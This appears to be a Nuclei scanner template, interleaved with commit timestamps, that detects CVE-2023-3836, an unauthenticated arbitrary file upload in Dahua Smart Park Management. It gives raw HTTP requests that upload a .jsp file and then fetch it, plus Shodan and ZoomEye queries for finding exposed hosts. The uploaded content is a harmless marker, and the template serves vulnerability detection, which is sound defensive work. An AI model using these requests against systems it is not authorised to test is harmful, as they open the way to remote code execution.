2023-07-26 09:01:22 +00:00
id : CVE-2023-3836
info :
2023-07-26 09:25:27 +00:00
name : Dahua Smart Park Management - Arbitrary File Upload
2023-07-26 09:01:22 +00:00
author : HuTa0
2023-08-31 11:46:18 +00:00
severity : critical
2023-07-26 09:25:27 +00:00
description : |
Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
2023-07-26 09:01:22 +00:00
reference :
2023-07-26 09:25:27 +00:00
- https://github.com/qiuhuihk/cve/blob/main/upload.md
2023-07-27 18:47:36 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-3836
2023-08-31 11:46:18 +00:00
- https://vuldb.com/?ctiid.235162
- https://vuldb.com/?id.235162
2023-07-27 18:47:36 +00:00
classification :
2023-08-31 11:46:18 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-07-27 18:47:36 +00:00
cve-id : CVE-2023-3836
2023-08-31 11:46:18 +00:00
cwe-id : CWE-434
2024-01-14 13:49:27 +00:00
epss-score : 0.02584
epss-percentile : 0.89161
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
2023-07-26 09:01:22 +00:00
metadata :
2023-07-27 18:52:41 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : dahuasecurity
product : smart_parking_management
2023-09-06 11:43:37 +00:00
shodan-query : html:"/WPMS/asset"
zoomeye-query : /WPMS/asset
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,dahua,fileupload,intrusive,rce,dahuasecurity
2023-07-26 09:01:22 +00:00
variables :
random_str : "{{rand_base(6)}}"
match_str : "{{md5(random_str)}}"
http :
- raw :
- |
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type : multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Host : {{Hostname}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition : form-data; name="upload"; filename="{{random_str}}.jsp"
Content-Type : application/octet-stream
Content-Transfer-Encoding : binary
{{match_str}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
- |
GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2, '{{match_str}}')"
condition : and
extractors :
- type : regex
name : shell_filename
internal : true
part : body_1
regex :
- 'ico_res_(\w+)_on\.jsp'
2024-01-26 08:31:11 +00:00
# digest: 490a00463044022019ed3a01869b520c888624caac663690abb0239bbe29ce2bd37bf0c9da3ceed102203bb8f2aef38ca4aa0349fe47f7a0e72a004678a13fb247d0ebd2abfbea426827:922c64590222798bb761d5b6d8e72950